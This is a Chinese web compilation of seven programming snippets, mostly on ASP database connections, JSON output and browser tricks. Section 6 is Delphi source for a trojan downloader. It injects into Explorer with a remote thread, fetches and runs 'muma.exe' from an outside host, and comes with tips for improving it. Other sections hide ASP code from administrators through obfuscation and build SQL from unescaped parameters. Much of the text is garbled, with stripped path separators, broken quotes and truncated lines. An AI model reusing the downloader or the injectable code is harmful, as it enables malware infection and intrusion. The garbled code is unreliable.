几种连接数据库的asp编程代码

| 收藏本文 下载本文 作者:华夏打工仔

下面就是小编给大家带来的几种连接数据库的asp编程代码(共含7篇),希望大家喜欢,可以帮助到有需要的朋友!同时,但愿您也能像本文投稿人“华夏打工仔”一样,积极向本站投稿分享好文章。

几种连接数据库的asp编程代码

篇1:几种连接数据库的asp编程代码

1、strconn=Driver={Microsoft Access Driver(*.mdb)}; _ DBQ=F:Inetpubwwwrootsomedirdb1.mdb;DefaultDir= _ f:Inetpubwwwrootsomedir;uid=LoginID; _ pwd=Password;DriverId=25;FIL=MSAccess; set conn = server.createobject(adodb.connection) co

篇2:asp 数据库连接函数代码介绍

以下是SQL连接代码:

复制代码 代码如下:

Function Open_conn

dim Conn,Strconn

set Conn=server.createobject(“adodb.connection”)

Strconn = “Provider = Sqloledb; User ID = 数据库登录帐号; Password = 数据库登录密码; Initial Catalog = 数据库名称; Data Source = (local);”

Conn.open Strconn

set Open_conn=Conn

If Err Then

err.Clear

Conn.close:set Conn=nothing

Response.Write “对不起,数据库连接出错。”

Response.End

End If

End Function

调用方法:

将原来的

复制代码 代码如下:

rs.open sql,conn

改成

复制代码 代码如下:

rs.open sql,Open_conn()

以下是ACCESS连接代码:

复制代码 代码如下:

Function Open_conn()

dim Dbpath,Conn

Dbpath=server.MapPath(“数据库路径”)

set Conn=server.createObject(“ADODB.connection”)

Conn.open “data source=”&dbpath&“;provider=microsoft.Jet.OLEDB.4.0;”

set Open_conn=Conn

If Err Then

err.Clear

Conn.close:set Conn=nothing

Response.Write “对不起,数据库连接出错。”

Response.End

End If

End Function

调用方法:

将原来的

复制代码 代码如下:

rs.open sql,conn

改成

复制代码 代码如下:

rs.open sql,Open_conn()

[asp 数据库连接函数代码介绍]

篇3:ASP代码加密

作者: 字体:[增加 减小] 类型:

ASP代码一般是明文,很少有加密的,MS有个工具Script Encoder可以加密,这个东东可以微软 免费下载,而且还有详细使用说明,但是经过它加密后的文件会有<%@ language = vbscript.encode %>,管理员看到这句话就知道这个asp文件被加密了,而且也有相关的解密文件。

本文提供一种简单的方法,可以加密ASP代码,主要思路是将代码做些运算,比如将全部代码移动一位,基本上就算加密了,主要的加解密函数如下:

function UnEncode(temp)

but=1

for i =1 to len(temp)

if mid(temp,i,1)“汤” then

pk=asc(mid(temp,i,1))-but

if pk>126 then

pk=pk-95

elseif pk<32 then

pk=pk+95

end if

a=a&chr(pk)

else

a=a&vbcrlf

end if

next

UnEncode=a

end function

function Encode(temp)

but=1

cc=replace(temp,vbcrlf,“汤”)

for i= 1 to len(cc)

if mid(cc,i,1)“汤” then

pk=asc(mid(cc,i,1))+but

if pk>126 then

pk=pk-95

elseif pk<32 then

pk=pk+95

end if

a=a&chr(pk)

else

a=a&“汤”

end if

next

’a=replace(a,“”“”,“”“”“”)

Encode=a

end function

在开发的时候,通常将关键ASP代码Encode,再使用Excute(Uncode(ipaddr))执行就可以了,

这样管理员一般不能直接看到关键代码,一般在程序里不要带上Encode函数,只在开发的时候使用,此外,UnEncode也可以改成其它函数名。

这种方式加密比较简单,解密也很容易。

篇4:asp实现读取数据库输出json代码

这篇文章主要介绍了asp实现读取数据库输出json代码的方法的相关资料,需要的朋友可以参考下

代码如下:

Function GetTable(Table,Where,Order,OrderSort,curpage, pagesize,MiniJson)

‘Author : nigou

‘使用方法 : Response.Write GetTable(Table表名,Where条件,Order主键(必须),OrderSort(asc,desc),curpage当前页, pagesize每页条数,MiniJson是否输出为miniUI格式)

dim i, j ,rs

if rderSort=“” Then rderSort=“asc”

if Where=“” Then Where=“asc”

Set Rs=Server.CreateObject(“adodb.recordset”)

if curpage>1 then

TmpSql=“select a.* from ( select top ” & (curpage) * pagesize & “ * from ” & Table & “ where ” & where & “ order by ” & Order & “ ” & OrderSort & “) a left join ( select top ” & (curpage-1) * pagesize & “ * from ” & Table & “ where ” & where & “ order by ” & Order & “ ” & OrderSort & “) b on a.” & Order & “=b.” & Order & “ where iif(b.” & Order & “,‘0‘,‘1‘)=‘1‘”

else

TmpSql=“select a.* from ( select top ” & (curpage) * pagesize & “ * from ” & Table & “ where ” & where & “ order by ” & Order & “ ” & OrderSort & “) a ”

end if

if pagesize=0 Then TmpSql = “select * from ” & Table

Rs.open TmpSql,conn,1,1

RealSize=Rs.recordcount

for i=0 to Rs.recordcount-1

TmpJson= TmpJson & “{”

for j=0 to Rs.fields.count-1

TmpJson= TmpJson & “”“” &(Rs.fields(j).name) & “”“ : ”

TmpJson= TmpJson & “”“” & Rs(j) & “”“”

if j

next

TmpJson= TmpJson & “ }”

if i

TmpJson= TmpJson & vbcrlf

rs.movenext

next

Rs.close

if MiniJson=1 Then

CountSql=“select count(”& order &“) from ” & Table & “ where ” & where

Rs.open CountSql,Conn,1,1

Counts=Rs(0)

Rs.Close

GetTable=ToMiniUi(TmpJson,Counts)

Else

GetTable=toJson(TmpJson)

end if

Set Rs=nothing

End Function

function toJson(JsonStr)

toJson=“[” & vbcrlf & JsonStr & vbcrlf & “]”

end function

Function ToMiniUi(JsonStr,total)

ToMiniUI=“{”

ToMiniUI=ToMiniUI & “”“total”“:”“ ” & total & “”“,” & vbcrlf

ToMiniUI=ToMiniUI & “”“data”“: [” & JsonStr

ToMiniUI=ToMiniUI & “]}”

End Function

PS:最后的参数是针对miniUI开发的,可以无视

以上就是本文的全部内容了,希望大家能够喜欢,

asp实现读取数据库输出json代码

篇5:防范网站被采集的ASP编程代码

防范网站被采集的ASP编程代码如下: % Dim AppealNum,AppealCount AppealNum=10 '同一IP60秒内请求限制10次 AppealCount=Request.Cookies(AppealCount) If AppealCount= Then Response.Cookies(AppealCount)=1 AppealCount=1 Response.Cookies(AppealCount).

篇6:Delphi 编程代码

部分代码的思路来自于国外EES组织的Aphex,基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows, Urlmon;

procedure Download; //下载过程

begin

URLDownloadToFile(nil, 'www.mycode.ful.cn/muma.exe', 'C:muma.exe', 0, nil);

WinExec('C:muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE

end;

var

hModule, hModule_News: Pointer;

Extent, Size, ThreadId: longword;

ProcessHandle, Pid: longword;

begin

GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);

//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

hModule := Pointer(GetModuleHandle(nil));

//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImagedosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;

//得到内存映像的长度

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);

//在Exp进程的内存范围内分配一个足够长度的内存

hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//确定起始基址和内存映像基址的位置

WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);

//确定上面各项数据后,这里开始进行操作

CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);

//建立远程线程,至此注入过程完成

CloseHandle(ProcessHandle);

//关闭对像

end.

需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码,

但其还是有很多BUG的。如果你想写属于自己的下载者,请注意解决下面几个问题:

1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。

2、Windows和一些应用程序对某些进程做了保护,不允许进程进行越权操作。如Svchost、qq等进程的注入,必须先进行提权操作。

3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程,将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。

篇7:ASP 三十二条代码

1. ncontextmenu=“window.event.returnvalue=false” 将彻底屏蔽鼠标右键

no 可用于Table

2. 取消选取、防止复制

3. npaste=“return false” 不准粘贴

4. ncopy=“return false;” ncut=“return false;” 防止复制

5. IE地址栏前换成自己的图标

6. 可以在收藏夹中显示出你的图标

如何制作将本站设为首页

你可能已经注意到,现在许多网站的首页上都有这么一个链接“按这里将本站设为首页”(这里的首页指的是浏览器的起始页),

不但大的ISP,ICP这么做,一些个人主页也推出这一“服务”以招揽网友,具体是如何实现这个功能的呢?我来帮你剖析一下:

点击那个超链接会显示下载一个名为lspace.reg的文件,下载后双击它,便会修改你的注册表,然后当你再打开浏览器的时候,起始页就发生了变化。(一听到修改注册表,许多网友就比较“怵”,会不会把windows给弄坏了。)

别怕,我们来打开lspace.reg看看(用最普通的notepad记事本就可以打开),发现内容如下:

REGEDIT4

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]

“Start Page” = “www.aygame.com/”;

[HKEY_CURRENT_USERSoftwareNetscapeNetscape NavigatorMain]“Home Page” = “www.aygame.com/”;

原来就两条,第一条设置IE的star page;第二条设置NC的home page(没什么花头噢:),

后面跟的URL就是你主页的网址!

7. 关闭输入法

8. 永远都会带着框架

9. 防止被人frame

10.

11.

nclick=“window.location = 'view-source:'+ '” target=_blank __designer:dtid=“11794787648667917”>www.csdn.net/'“>

12. 怎样通过asp的手段来检查来访者是否用了代理

<% if Request.ServerVariables(”HTTP_X_FORWARDED_FOR“)”“ then

response.write ”您通过了代理服务器,“& _

”真实的IP为“&Request.ServerVariables(”HTTP_X_FORWARDED_FOR“)

end if

%>

13. 取得控件的绝对位置

//****

//VBScript

14. 光标是停在文本框文字的最后

15. 判断上一页的来源

asp:

request.servervariables(”HTTP_REFERER“)

****:

document.referrer

16. 最小化、最大化、关闭窗口

防范网站被采集的ASP编程代码

ASP 3.0高级编程二

数据库编程的软件工程论文

解析如何使用Zend Framework 连接数据库

Visual C++ ADO数据库编程入门(下)数据库教程

解决ubuntu下mysql不能远程连接数据库的问题数据库教程

一种逻辑层次连接的工程数据库设计方法及应用

数据库面试题

编程学习计划

数控编程技巧

几种连接数据库的asp编程代码(集锦7篇)

欢迎下载DOC格式的几种连接数据库的asp编程代码,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档